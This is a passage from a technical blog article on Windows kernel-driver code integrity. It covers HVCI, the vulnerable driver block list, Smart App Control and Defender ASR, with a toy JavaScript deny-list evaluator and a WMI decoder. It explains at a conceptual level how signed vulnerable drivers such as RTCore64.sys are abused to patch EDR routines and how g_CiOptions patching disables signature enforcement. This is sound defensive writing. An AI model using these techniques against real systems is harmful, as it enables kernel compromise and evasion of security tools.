&lt;p&gt;The malware scan inside attestation signing looks for known dangerous behaviour. The Microsoft Security blog post on the Vulnerable &amp;amp; Malicious Driver Reporting Center enumerates the categories the backend flags: &quot;Drivers with the ability to read or write arbitrary kernel, physical, or device memory, including Port I/O and central processing unit (CPU) registers from user mode.&quot; [@ms-vdrc-blog] In other words, the scanner already understands the BYOVD pattern.&lt;/p&gt;
&lt;p&gt;What it does not catch are &lt;em&gt;novel&lt;/em&gt; design flaws. A driver whose IOCTL surface is structurally unsafe in a way the scanner does not have a signature for passes the scan and ships with a Microsoft counter-signature. The Capcom.sys pattern is in the scanner&apos;s repertoire today; the pattern in the next driver to ship is, by definition, not.&lt;/p&gt;
&lt;p&gt;A second weakness sits on the publisher side. EV-key compromise -- whether through the LAPSUS$ supply-chain leaks of 2022 or other vendor incidents -- gives the attacker the Microsoft-only-signing flavour of the Stuxnet problem. The signed-by-Microsoft chain is exactly as strong as the EV key&apos;s safekeeping at the publisher.&lt;/p&gt;
&lt;p&gt;One bottleneck for signing is an improvement. But the bottleneck still trusts the kernel that asks the question. As long as the policy engine runs in the same memory the attacker can write, the policy engine loses.&lt;/p&gt;
&lt;h2&gt;6. HVCI: Moving the Policy Out of Reach (2015-present)&lt;/h2&gt;
&lt;p&gt;In July 2015, Microsoft shipped a feature so structurally important that it took six years to become a consumer default, and so misunderstood that it still travels under three different names.&lt;/p&gt;
&lt;p&gt;The names are the easiest place to start. &lt;em&gt;Virtualization-Based Security&lt;/em&gt; (VBS) is the platform: a Hyper-V-rooted virtualisation layer that exists on every modern Windows installation that meets the hardware requirements. &lt;em&gt;Hypervisor-protected Code Integrity&lt;/em&gt; (HVCI) is the kernel-code-integrity consumer of VBS. &lt;em&gt;Memory Integrity&lt;/em&gt; is the label the Windows Security UI uses today. The Microsoft Learn page on Memory Integrity [@ms-hvci-vbs] is the canonical primary source [@ms-hvci-vbs]. TrustedSec called out the conflation explicitly in their &lt;code&gt;g_CiOptions in a virtualized world&lt;/code&gt; post [@trustedsec-gcioptions] [@trustedsec-gcioptions].&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; A security check that shares a trust domain with what it is checking has, by definition, already lost. HVCI moves the check out of the attacker&apos;s trust domain. It is the answer to &lt;em&gt;who decides&lt;/em&gt;. It is not the answer to &lt;em&gt;what gets decided&lt;/em&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That sentence is the second of this article&apos;s three reframes, and the one that makes everything that follows make sense.&lt;/p&gt;
&lt;h3&gt;VBS and the Virtual Trust Levels&lt;/h3&gt;
&lt;p&gt;On a VBS-on Windows machine, &lt;a href=&quot;https://paragmali.com/blog/above-ring-zero-how-the-windows-hypervisor-became-a-security/&quot; rel=&quot;noopener&quot;&gt;Hyper-V&lt;/a&gt; is the Type-1 hypervisor. The bootloader brings the hypervisor up first, the hypervisor brings up two execution environments side by side, and the normal Windows kernel runs in one of them while a much smaller &lt;a href=&quot;https://paragmali.com/blog/the-windows-secure-kernel/&quot; rel=&quot;noopener&quot;&gt;Secure Kernel&lt;/a&gt; runs in the other.&lt;/p&gt;

The VBS abstraction that partitions a Windows installation into two execution environments. VTL0 is the normal Windows kernel and its drivers. VTL1 is a much smaller Secure Kernel and a curated set of &quot;trustlets&quot; -- isolated user-mode processes that hold the most sensitive secrets. VTL1 can read and write VTL0 memory; VTL0 cannot read or write VTL1 memory. Code-integrity policy lives in VTL1.
&lt;p&gt;The Code Integrity engine on an HVCI-on machine -- signature verification and policy-file consultation -- runs inside VTL1&apos;s Secure Kernel as the &lt;em&gt;Secure Kernel Code Integrity&lt;/em&gt; component, SKCI. The VTL0 kernel cannot read or write VTL1 memory by hardware construction: the hypervisor&apos;s second-level address translation tables, programmed before VTL0 ever runs, mark VTL1 pages as unreachable from VTL0. The in-memory &lt;code&gt;g_CiOptions&lt;/code&gt; state continues to reside in &lt;code&gt;ci.dll&lt;/code&gt;&apos;s VTL0 data section -- it does not relocate into VTL1 -- but on an HVCI-on machine Kernel Data Protection (KDP), exposed to VTL0 drivers as &lt;code&gt;MmProtectDriverSection&lt;/code&gt;, asks the Secure Kernel to mark the containing page read-only at the SLAT level. A fully compromised VTL0 kernel -- with kernel debugging attached, with all of ring zero&apos;s privileges -- cannot rewrite &lt;code&gt;g_CiOptions&lt;/code&gt; to zero, because the SLAT mapping refuses the write.&lt;/p&gt;

flowchart TD
    subgraph VTL1 [VTL1 -- Secure Kernel]
        SK[Secure Kernel]
        SKCI[SKCI -- Code Integrity]
        Policy[&quot;Code Integrity policy&lt;br /&gt;(DriverSiPolicy.p7b)&quot;]
        SK --&amp;gt; SKCI
        SKCI --&amp;gt; Policy
    end
    subgraph VTL0 [VTL0 -- Normal Windows]
        Kern[NT Kernel]
        Drv[Driver attempting load]
        CI[ci.dll user-side]
        Kern --&amp;gt; CI
        CI --&amp;gt; Drv
    end
    Hypervisor{&quot;Hyper-V SLAT&quot;}
    Kern --&amp;gt;|&quot;Section create&quot;| Hypervisor
    Hypervisor --&amp;gt;|&quot;Forward&quot;| SKCI
    SKCI --&amp;gt;|&quot;Allow or deny&quot;| Hypervisor
    Hypervisor --&amp;gt;|&quot;Result&quot;| Kern
&lt;h3&gt;W^X on kernel memory&lt;/h3&gt;
&lt;p&gt;There is a second, equally structural property HVCI enforces. When the VTL0 kernel tries to map an executable section -- to create a kernel-executable page from a PE image -- the hypervisor forces the request through SKCI. SKCI verifies the Authenticode signature &lt;em&gt;at section creation time&lt;/em&gt;, not only at the &lt;code&gt;IoLoadDriver&lt;/code&gt; entry point a load goes through later [@ms-hvci-vbs]. And SKCI refuses any page that is simultaneously writable and executable. The classic exploitation technique of allocating a writable kernel buffer, writing shellcode into it, and then jumping to it stops working: the page either is writable, in which case it is not executable, or is executable, in which case it is not writable.&lt;/p&gt;
&lt;p&gt;The hardware acceleration matters. The Memory Integrity page [@ms-hvci-vbs] is unusually direct about the requirement: &quot;Memory integrity works better with Intel Kabylake and higher processors with Mode-Based Execution Control, and AMD Zen 2 and higher processors with Guest Mode Execute Trap capabilities. Older processors rely on an emulation of these features, called Restricted User Mode, and will have a bigger impact on performance.&quot; [@ms-hvci-vbs]Mode-Based Execute Control (MBEC) is the Intel feature that lets the hypervisor distinguish &quot;executable in supervisor mode&quot; from &quot;executable in user mode&quot; at the page-table-entry level. AMD&apos;s Guest Mode Execute Trap (GMET) is the structurally equivalent feature. Older silicon falls back to Restricted User Mode emulation, which works correctly but pays a meaningfully larger performance tax. The hardware cutoff is a major reason HVCI defaulted off on pre-2017 OEM hardware for years.&lt;/p&gt;
&lt;h3&gt;What HVCI fixed&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;g_CiOptions&lt;/code&gt; patching family, the third bypass we met in section 4, closes on HVCI-on systems. TrustedSec&apos;s post [@trustedsec-gcioptions] gives a clean account: &lt;code&gt;g_CiOptions&lt;/code&gt; still lives in &lt;code&gt;ci.dll&lt;/code&gt;&apos;s VTL0 data section, but Kernel Data Protection -- exposed to VTL0 drivers as &lt;code&gt;MmProtectDriverSection&lt;/code&gt; -- asks the Secure Kernel in VTL1 to mark its containing page read-only at the SLAT level, so a VTL0 ring-zero write to it faults; the VTL0 kernel cannot rewrite the variable; live-kernel debuggers attached to VTL0 cannot rewrite it either [@trustedsec-gcioptions]. The arbitrary-write-to-disable-DSE pattern that worked on Windows 7 through pre-HVCI Windows 10 is, on an HVCI-on Windows 11, no longer a primitive that exists in the attacker&apos;s threat model. The trust domain that decides the policy is not the trust domain the attacker can reach.&lt;/p&gt;
&lt;h3&gt;What HVCI did not fix&lt;/h3&gt;
&lt;p&gt;It is essential to be clear about what HVCI does not catch, because misreading this is how the BYOVD class survives.&lt;/p&gt;
&lt;p&gt;HVCI verifies the &lt;em&gt;signature&lt;/em&gt; and enforces W^X. It does not analyse the driver&apos;s &lt;em&gt;behaviour&lt;/em&gt;. The 2019 &lt;code&gt;RTCore64.sys&lt;/code&gt; driver passes SKCI section-mapping unchanged: it is signed by MSI through a Microsoft-recognised chain, it has no writable-and-executable pages, and the Authenticode hash on disk matches the binary in memory. After it loads, an attacker in user mode sends an IOCTL; the driver, executing legitimately in ring zero, writes attacker-controlled bytes to an attacker-chosen kernel address; the EDR notify routine table is patched; the BYOVD attack proceeds. Everything that happens inside the IOCTL handler happens with kernel privilege, on properly-signed code paths, inside HVCI&apos;s W^X policy. The structural BYOVD class is unaffected.&lt;/p&gt;
&lt;p&gt;That is the gap the next two sections close.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The Memory Integrity page [@ms-hvci-vbs] is explicit that &quot;some applications and hardware device drivers may be incompatible with memory integrity. This incompatibility can cause devices or software to malfunction and in rare cases may result in a boot failure (blue screen).&quot; [@ms-hvci-vbs] For years OEM and gaming-system vendors shipped with HVCI off because legacy ISV drivers, anti-cheat kernel components, or older virtualisation tools could not coexist with it. On an HVCI-off system the &lt;code&gt;g_CiOptions&lt;/code&gt; patching family is back in play, the kernel-CI engine and the kernel it polices are in the same trust domain, and the analysis of section 4 applies unchanged. The 2026 default-on baseline is real, but it is not yet universal.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;HVCI is the answer to &lt;em&gt;who decides&lt;/em&gt;. It is not the answer to &lt;em&gt;what gets decided&lt;/em&gt;. We still need a way to say: this specific signed binary is one we do not trust.&lt;/p&gt;
&lt;h2&gt;7. The Block List: Naming the Weakness (2020-present)&lt;/h2&gt;
&lt;p&gt;In October 2020, Microsoft started shipping something it had spent twenty-five years avoiding: a list of specific drivers it would refuse to load by name.&lt;/p&gt;
&lt;p&gt;The artefact lives at &lt;code&gt;%windir%\system32\CodeIntegrity\DriverSiPolicy.p7b&lt;/code&gt;. The file is a PKCS#7-signed &lt;a href=&quot;https://paragmali.com/blog/wdac--hvci-code-integrity-at-every-layer-in-windows/&quot; rel=&quot;noopener&quot;&gt;App Control for Business&lt;/a&gt; policy -- &quot;WDAC&quot; by its former name -- whose body consists of deny rules expressed at the granularity of file hash, file name, or publisher. The canonical Microsoft-recommended driver block rules page [@ms-driver-block-rules] is the primary source, and is unusually rich for a Microsoft Learn page [@ms-driver-block-rules].&lt;/p&gt;

Microsoft&apos;s policy-driven application-control engine. An App Control policy is a signed XML or binary file that lists allow rules, deny rules, and signer-level rules; at load time, the policy engine consults the rules and either allows or refuses the image. `DriverSiPolicy.p7b` is itself an App Control policy whose body is all deny rules.
&lt;h3&gt;Cadence and the published-vs-shipped gap&lt;/h3&gt;
&lt;p&gt;The block list is refreshed on two cadences. Microsoft publishes the source XML on the block-rules page [@ms-driver-block-rules] on a quarterly schedule and pushes the binary &lt;code&gt;DriverSiPolicy.p7b&lt;/code&gt; to client devices through monthly Windows servicing [@ms-driver-block-rules]. Microsoft&apos;s Security Baselines team also publishes a running update post [@ms-tc-blocklist-baselines] cataloguing the changes [@ms-tc-blocklist-baselines].&lt;/p&gt;
&lt;p&gt;The candid admission on the block-rules page [@ms-driver-block-rules] is the part of the story that is most worth understanding.&lt;/p&gt;

The blocklist included in this article and in the associated downloadable files usually contains a more complete set of known vulnerable drivers than the version in the OS and delivered by Windows Update. It&apos;s often necessary for us to hold back some blocks to avoid breaking existing functionality. -- Microsoft Learn, *Microsoft-recommended driver block rules* [@ms-driver-block-rules]
&lt;p&gt;The published list is, on purpose, more inclusive than the shipped list. The reason is operational: every entry in the shipped list is a driver that would refuse to load on millions of devices, some of which have legitimate dependencies. Microsoft holds entries back when the compatibility cost is too high, even when the security signal is strong. We will come back to whether that gap is closeable in section 9.&lt;/p&gt;
&lt;h3&gt;The 22H2 cut and the Server 2016 carve-out&lt;/h3&gt;
&lt;p&gt;Two dates anchor the deployment story.&lt;/p&gt;
&lt;p&gt;The block list was an &lt;em&gt;optional&lt;/em&gt; feature in Windows 10 1809, enabled by default only on systems that ran Hypervisor-protected Code Integrity, Smart App Control, or Windows in S-mode [@ms-kb5020779] [@ms-kb5020779]. With the Windows 11 2022 Update, also known as 22H2 [@ms-blogs-win11-2022], released on 20 September 2022, default-on coverage extended to every client device, not just the HVCI-on subset [@ms-blogs-win11-2022]. The 22H2 release is the moment the block list became universal Windows client behaviour, six years after the first BYOVD primitive that motivated it.&lt;/p&gt;
&lt;p&gt;The block-rules page [@ms-driver-block-rules] notes a single explicit carve-out worth flagging.&quot;Except on Windows Server 2016, the vulnerable driver blocklist is also enforced when either memory integrity (also known as hypervisor-protected code integrity or HVCI), Smart App Control, or S mode is active.&quot; [@ms-driver-block-rules] Windows Server 2016 does not get the default-on block list even when HVCI is on. An enterprise admin managing Server 2016 has to deploy an explicit App Control policy to get the same coverage. The October 2022 preview cycle saw a documented quirk -- KB5020779 [@ms-kb5020779] explains that a preview release shipped without an actual blocklist refresh, addressed by a subsequent servicing update [@ms-kb5020779].The KB5020779 episode is a useful reminder that the in-box block list ships through the same Windows Update cycle as everything else. Preview releases do not always carry a fresh policy, and the cadence on the block-rules page [@ms-driver-block-rules] describes the intended steady state rather than every individual update [@ms-driver-block-rules].&lt;/p&gt;
&lt;h3&gt;Naming the weakness, not the publisher&lt;/h3&gt;
&lt;p&gt;For the first time in the story, the question Windows asks at load time is not only &lt;em&gt;who signed this binary?&lt;/em&gt; but also &lt;em&gt;is this specific signed binary one we have learned is unsafe?&lt;/em&gt; The block list is a step the previous generations could not have taken with the primitives they had: it requires a deny list that can be authored after the fact, distributed quickly, and enforced inside a trust domain the attacker cannot reach. KMCS supplied the load-time enforcement primitive; HVCI supplied the immune-from-VTL0 enforcement context; only with both in place could &lt;code&gt;DriverSiPolicy.p7b&lt;/code&gt; actually do its job.&lt;/p&gt;

flowchart TD
    A[Driver image requested for load] --&amp;gt; B[Hypervisor mediates section create]
    B --&amp;gt; C[SKCI verifies Authenticode chain]
    C --&amp;gt; D{&quot;Chain OK?&quot;}
    D -- &quot;No&quot; --&amp;gt; X[Refuse]
    D -- &quot;Yes&quot; --&amp;gt; E[Consult DriverSiPolicy.p7b deny rules]
    E --&amp;gt; F{&quot;Hash, name, or signer on deny list?&quot;}
    F -- &quot;Yes&quot; --&amp;gt; X
    F -- &quot;No&quot; --&amp;gt; G[Allow section creation]
    G --&amp;gt; H[Driver maps into kernel address space]
&lt;h3&gt;The Vulnerable &amp;amp; Malicious Driver Reporting Center&lt;/h3&gt;
&lt;p&gt;The block list grew faster after Microsoft built a structured channel to feed it. The December 2021 Microsoft Security blog post [@ms-vdrc-blog] announced the Vulnerable &amp;amp; Malicious Driver Reporting Center: a portal where researchers and vendors can submit kernel drivers for evaluation, backed by an automated analysis pipeline that looks for the BYOVD primitives -- &quot;the ability to read or write arbitrary kernel, physical, or device memory, including Port I/O and central processing unit (CPU) registers from user mode.&quot; [@ms-vdrc-blog] The post explicitly lists the historical CVE backdrop that motivated the centre, naming RobinHood, Uroburos, Derusbi, GrayFish, and Sauron as families that leveraged driver vulnerabilities such as CVE-2008-3431, CVE-2013-3956, CVE-2009-0824, and CVE-2010-1592 [@ms-vdrc-blog].&lt;/p&gt;
&lt;p&gt;The same post anchors the EV-certificate publisher requirement and the HLK or attestation gating that produces the block list&apos;s inputs in the first place. The reporting centre is the path by which a flagged driver moves from &quot;spotted in research&quot; to &quot;deny rule in the next quarterly XML push&quot;.&lt;/p&gt;
&lt;h3&gt;Defender ASR as the HVCI-off coverage path&lt;/h3&gt;
&lt;p&gt;There is a third surface worth knowing about. Microsoft&apos;s Attack Surface Reduction rules [@ms-asr-rules] include &quot;Block abuse of exploited vulnerable signed drivers&quot; (&lt;code&gt;56a863a9-875e-4185-98a7-b882c64b5ce5&lt;/code&gt;) as part of the standard ASR protection set [@ms-asr-rules]. For Microsoft Defender for Endpoint customers on Windows 10 E3 or E5, the rule covers machines where HVCI is not on. Microsoft notes that &quot;the same blocklist is also used by Microsoft Defender Antivirus customers&quot; via the ASR rule [@ms-vdrc-blog]. The path is narrower than HVCI-rooted enforcement -- Defender has to be running, the rule has to be enabled -- but it extends the block list to enterprise environments that have not yet flipped HVCI on.&lt;/p&gt;
&lt;h3&gt;LOLDrivers and the dual-use externality&lt;/h3&gt;
&lt;p&gt;The block list is not the only catalogue of vulnerable Windows drivers. The community-maintained LOLDrivers project [@loldrivers-io] -- &quot;Living Off The Land Drivers&quot; -- collects vulnerable, malicious, and known-malicious Windows drivers in one place. Every entry carries YAML metadata and where possible YARA, Sigma, ClamAV, and Sysmon rules, plus a pre-compiled App Control deny policy that can be deployed standalone [@gh-loldrivers] [@loldrivers-io]. As of the source verification for this article, LOLDrivers carried approximately 2,132 driver entries -- considerably more than the Microsoft-shipped list.&lt;/p&gt;
&lt;p&gt;Check Point Research called out the dual-use problem in their 2024 piece [@cpr-byovd]: a public catalogue of vulnerable drivers is also a reading list for attackers. The same researchers ran the methodology in reverse: &quot;we conducted a mass hunt for new drivers that may be vulnerable, uncovering thousands of potentially at-risk drivers.&quot; [@cpr-byovd] Defenders use the list for hardening; attackers use it for shopping. Both effects are real.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Defenders who can tolerate compatibility risk can compile the source XML from the block-rules page [@ms-driver-block-rules] into an App Control policy and deploy it directly, picking up the entries Microsoft holds back from the in-box list. Optionally layer the LOLDrivers App Control policy [@gh-loldrivers] on top for community-curated coverage. Test in audit mode first -- both lists are more aggressive than the shipped baseline and may flag drivers your environment depends on [@ms-driver-block-rules] [@gh-loldrivers].&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;A WDAC rule evaluator, in miniature&lt;/h3&gt;
&lt;p&gt;The semantics of an App Control policy are simple enough to model in a few lines. Deny rules win; allow rules are consulted next; the default action handles whatever is left.&lt;/p&gt;
&lt;p&gt;{`
// Simplified model of the App Control / WDAC rule-evaluation engine.
// Deny rules win, allow rules permit the remainder, and an explicit
// default action handles images neither denied nor allowed.&lt;/p&gt;
&lt;p&gt;const policy = {
  denyByHash:    new Set([&quot;c1d5cf8c43e7679b782630e93f5e6420ca1749a7&quot;]), // Capcom.sys
  denyByName:    new Set([&quot;RTCore64.sys&quot;]),
  denyBySigner:  new Set([&quot;CN=Some Compromised Publisher, O=Example&quot;]),
  allowBySigner: new Set([&quot;CN=Microsoft Windows, O=Microsoft Corporation&quot;]),
  defaultAction: &quot;BLOCK&quot;,
};&lt;/p&gt;
&lt;p&gt;function evaluate(image, policy) {
  if (policy.denyByHash.has(image.sha1)) return &quot;BLOCK (hash on deny list)&quot;;
  if (policy.denyByName.has(image.fileName)) return &quot;BLOCK (name on deny list)&quot;;
  if (policy.denyBySigner.has(image.signer)) return &quot;BLOCK (signer on deny list)&quot;;
  if (policy.allowBySigner.has(image.signer)) return &quot;ALLOW (signer on allow list)&quot;;
  return policy.defaultAction === &quot;ALLOW&quot;
    ? &quot;ALLOW (default)&quot;
    : &quot;BLOCK (default)&quot;;
}&lt;/p&gt;
&lt;p&gt;const cases = [
  { sha1: &quot;c1d5cf8c43e7679b782630e93f5e6420ca1749a7&quot;, fileName: &quot;Capcom.sys&quot;,
    signer: &quot;CN=CAPCOM Co., Ltd.&quot; },
  { sha1: &quot;0000000000000000000000000000000000000000&quot;, fileName: &quot;RTCore64.sys&quot;,
    signer: &quot;CN=Micro-Star International Co., Ltd.&quot; },
  { sha1: &quot;1111111111111111111111111111111111111111&quot;, fileName: &quot;ntfs.sys&quot;,
    signer: &quot;CN=Microsoft Windows, O=Microsoft Corporation&quot; },
];
for (const c of cases) console.log(c.fileName, &quot;-&amp;gt;&quot;, evaluate(c, policy));
`}&lt;/p&gt;
&lt;p&gt;Naming the weakness is genuinely new. But the list only ever lists what someone has already found. The window between disclosure and enforcement is months, and Microsoft documents that the shipped list is by design weaker than the published one. What gets the rest of the way?&lt;/p&gt;
&lt;h2&gt;8. The 2026 Stack: Defence in Depth Made Concrete&lt;/h2&gt;
&lt;p&gt;On a default-configured Windows 11 22H2 machine in 2026, a kernel driver that tries to load passes through five distinct gates. Each one closes a blind spot the previous one cannot reach.&lt;/p&gt;
&lt;p&gt;The order matters, and so do the dependencies. The gates are:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Kernel-Mode Code Signing.&lt;/strong&gt; The Authenticode chain must terminate at a Microsoft-owned root. The chain check rejects unsigned drivers and drivers chained to non-Microsoft roots, except under the documented grandfathering carve-outs [@ms-kmcs-policy] [@ms-kmcs-policy].&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Vulnerable Driver Block List.&lt;/strong&gt; SKCI consults &lt;code&gt;DriverSiPolicy.p7b&lt;/code&gt; for hash, file-name, and signer-level deny rules. The list is default-on for every client device since Windows 11 22H2 [@ms-blogs-win11-2022], and is updated quarterly through Microsoft Learn&apos;s published source XML and monthly through Windows servicing [@ms-driver-block-rules] [@ms-blogs-win11-2022].&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HVCI / SKCI.&lt;/strong&gt; The Code Integrity engine runs in VTL1, verifies signatures at section-mapping time rather than only at &lt;code&gt;IoLoadDriver&lt;/code&gt;, and enforces W^X on kernel memory. The policy engine is structurally out of reach of a fully compromised VTL0 kernel [@ms-hvci-vbs].&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;App Control / Smart App Control.&lt;/strong&gt; Enterprise admins author explicit App Control allowlists; consumer devices on clean Windows 11 installs run Smart App Control [@ms-sac-faq], a Microsoft-authored allowlist policy backed by cloud reputation [@ms-sac-faq] [@ms-appcontrol].&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Defender ASR.&lt;/strong&gt; On Microsoft Defender for Endpoint deployments, the &quot;Block abuse of exploited vulnerable signed drivers&quot; ASR rule extends block-list coverage to HVCI-off environments [@ms-asr-rules].&lt;/li&gt;
&lt;/ol&gt;

The Windows 11 22H2+ consumer-facing front end for App Control for Business. SAC enforces a Microsoft-authored policy and supplements it with cloud reputation lookups from the Intelligent Security Graph. SAC is only available on clean installs and is shipped in evaluation mode by default; once turned on, it also unconditionally enforces the vulnerable driver block list [@ms-sac-faq].

The cloud-backed reputation service that Smart App Control consults to predict whether a given binary is safe. When confident, ISG approves the binary; when unconfident, SAC falls back to signature checks; absent both, the binary is blocked [@ms-sac-faq].
&lt;h3&gt;Orthogonality, not redundancy&lt;/h3&gt;
&lt;p&gt;The five gates look redundant from a distance. They are not. Each closes a class of failure the others cannot reach. The orthogonality is the reason for the stack.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Gate&lt;/th&gt;
&lt;th&gt;Catches&lt;/th&gt;
&lt;th&gt;Misses&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;KMCS&lt;/td&gt;
&lt;td&gt;Unsigned and cross-cert-only-signed drivers&lt;/td&gt;
&lt;td&gt;Signed-but-vulnerable drivers&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Block list&lt;/td&gt;
&lt;td&gt;Known-vulnerable signed drivers (post-disclosure)&lt;/td&gt;
&lt;td&gt;Unknown-vulnerable signed drivers&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HVCI / SKCI&lt;/td&gt;
&lt;td&gt;&lt;code&gt;g_CiOptions&lt;/code&gt;-patching from VTL0; writable+executable kernel pages&lt;/td&gt;
&lt;td&gt;Behavioural BYOVD inside a properly-signed driver&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WDAC / SAC&lt;/td&gt;
&lt;td&gt;Anything not on the allowlist (enterprise) or unknown-reputation (consumer)&lt;/td&gt;
&lt;td&gt;Allowlisted drivers with unknown defects&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Defender ASR&lt;/td&gt;
&lt;td&gt;Block-list entries on HVCI-off machines (where the rule is enabled)&lt;/td&gt;
&lt;td&gt;Drivers not on Microsoft&apos;s blocklist&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The matrix is the practical justification for the stack. If &lt;code&gt;DriverSiPolicy.p7b&lt;/code&gt; had perfect coverage there would be no need for SAC; if SAC had a complete allowlist there would be no need for the block list; if HVCI proved driver safety rather than driver identity there would be no need for either. None of those preconditions hold, and section 9 explains why they cannot.&lt;/p&gt;
&lt;h3&gt;Smart App Control&apos;s particulars&lt;/h3&gt;
&lt;p&gt;SAC merits a few specifics because its behaviour differs from the rest of the stack in ways that surprise readers. First, it is consumer-facing and only available on clean Windows 11 installs -- an upgrade does not get SAC. Second, SAC ships in &lt;em&gt;evaluation mode&lt;/em&gt; by default. Windows watches user behaviour, and if the user mostly runs cloud-reputable software, SAC quietly flips to &lt;em&gt;enforce&lt;/em&gt;; if the user runs a lot of niche or self-developed software, SAC quietly flips to &lt;em&gt;off&lt;/em&gt;. Third, until a 2024 servicing change [@ms-sac-faq] made SAC re-enableable from Windows Security, turning SAC off used to require a clean install to bring it back [@ms-sac-faq]. Fourth, on enterprise-managed devices, SAC turns itself off automatically after 48 hours; managed environments are expected to deploy WDAC instead [@ms-appcontrol].&lt;/p&gt;
&lt;p&gt;The cold-start failure mode is worth knowing. A small independent hardware vendor whose driver has never been seen at scale lacks a cloud reputation when SAC asks about it. The fallback is signature, but a signed driver from an unknown publisher does not always clear SAC&apos;s confidence threshold. Small IHVs occasionally find their drivers blocked on consumer hardware running SAC for that reason alone.&lt;/p&gt;

flowchart TD
    A[Driver image requested] --&amp;gt; B[Gate 1: KMCS Authenticode chain]
    B --&amp;gt; C{&quot;Microsoft-rooted?&quot;}
    C -- &quot;No&quot; --&amp;gt; X[Refuse]
    C -- &quot;Yes&quot; --&amp;gt; D[Gate 2: DriverSiPolicy.p7b]
    D --&amp;gt; E{&quot;On block list?&quot;}
    E -- &quot;Yes&quot; --&amp;gt; X
    E -- &quot;No&quot; --&amp;gt; F[Gate 3: HVCI / SKCI section mapping]
    F --&amp;gt; G{&quot;Signature OK, W^X satisfied?&quot;}
    G -- &quot;No&quot; --&amp;gt; X
    G -- &quot;Yes&quot; --&amp;gt; H[Gate 4: App Control / SAC]
    H --&amp;gt; I{&quot;On allowlist or reputable?&quot;}
    I -- &quot;No&quot; --&amp;gt; X
    I -- &quot;Yes&quot; --&amp;gt; J[Gate 5: Defender ASR rule applicable]
    J --&amp;gt; K[Driver loads into VTL0 kernel]
&lt;h3&gt;Verifying what the machine actually does&lt;/h3&gt;
&lt;p&gt;The state of the stack on any given Windows machine is observable. The Win32_DeviceGuard WMI class exposes a &lt;code&gt;SecurityServicesRunning&lt;/code&gt; array whose integer codes name the security services currently active. The aside below covers the practitioner-facing details.&lt;/p&gt;

Two commands answer most of the question. From an elevated PowerShell prompt, `Get-CimInstance -Namespace root\Microsoft\Windows\DeviceGuard -ClassName Win32_DeviceGuard` returns a structure whose `SecurityServicesRunning` array enumerates the services in operation; a value of **1** indicates **Credential Guard**, a value of **2** indicates **HVCI / Memory Integrity**, and additional values cover newer services (System Guard Secure Launch, SMM Firmware Measurement, Kernel-mode Hardware-enforced Stack Protection, and Hypervisor-Enforced Paging Translation) [@ms-hvci-vbs]. `bcdedit /enum {default}` shows whether `hypervisorlaunchtype` is set to `Auto`, the prerequisite for VBS being on at all. The block list file itself lives at `%windir%\system32\CodeIntegrity\DriverSiPolicy.p7b`; if it is missing, the in-box list is not deployed on that machine. None of these tell you whether your Defender ASR rule is active without a separate `Get-MpPreference` check.
&lt;p&gt;A toy decoder helps make the WMI surface concrete.&lt;/p&gt;
&lt;p&gt;{`
// Mirror of the integer codes the Win32_DeviceGuard WMI class reports
// for SecurityServicesRunning. Documented on Microsoft Learn under
// the Memory Integrity / HVCI guidance.&lt;/p&gt;
&lt;p&gt;const SERVICE_NAMES = {
  1: &quot;Credential Guard&quot;,
  2: &quot;Hypervisor-protected Code Integrity (HVCI / Memory Integrity)&quot;,
  3: &quot;System Guard Secure Launch&quot;,
  4: &quot;SMM Firmware Measurement&quot;,
  5: &quot;Kernel-mode Hardware-enforced Stack Protection&quot;,
  6: &quot;Kernel-mode Hardware-enforced Stack Protection (Audit mode)&quot;,
  7: &quot;Hypervisor-Enforced Paging Translation&quot;,
};&lt;/p&gt;
&lt;p&gt;function explain(servicesRunning) {
  if (!servicesRunning.length) {
    return &quot;No VBS-rooted security services are running on this device.&quot;;
  }
  return servicesRunning
    .map((code) =&amp;gt; SERVICE_NAMES[code] || (&quot;unknown service &quot; + code))
    .map((s) =&amp;gt; &quot;  - &quot; + s)
    .join(&quot;\n&quot;);
}&lt;/p&gt;
&lt;p&gt;console.log(&quot;Sample 1: HVCI on, Credential Guard on&quot;);
console.log(explain([1, 2]));
console.log(&quot;\nSample 2: nothing running&quot;);
console.log(explain([]));
console.log(&quot;\nSample 3: full stack on a Secured-core PC&quot;);
console.log(explain([1, 2, 3, 4, 5]));
`}&lt;/p&gt;
&lt;p&gt;Five gates is a lot of work to do what one ideal gate could not. The reason for the inflation is uncomfortable: the one ideal gate cannot, in principle, exist.&lt;/p&gt;
&lt;h2&gt;9. The Undecidability Wall&lt;/h2&gt;
&lt;p&gt;Why does Windows need five layers to do what one perfect signature ought to do? Because the perfect signature is mathematically impossible.&lt;/p&gt;
&lt;p&gt;The third reframe of this article is the one that turns engineering frustration into theoretical inevitability. The property of interest -- &quot;this signed driver, when exercised through its IOCTL surface, can be coerced into giving an attacker an arbitrary kernel-write primitive&quot; -- is a non-trivial semantic property of the driver&apos;s program text. Rice&apos;s theorem says that for any non-trivial semantic property of programs, the predicate is undecidable on the class of all programs. No algorithm exists that, in finite time, answers correctly for every input.&lt;/p&gt;
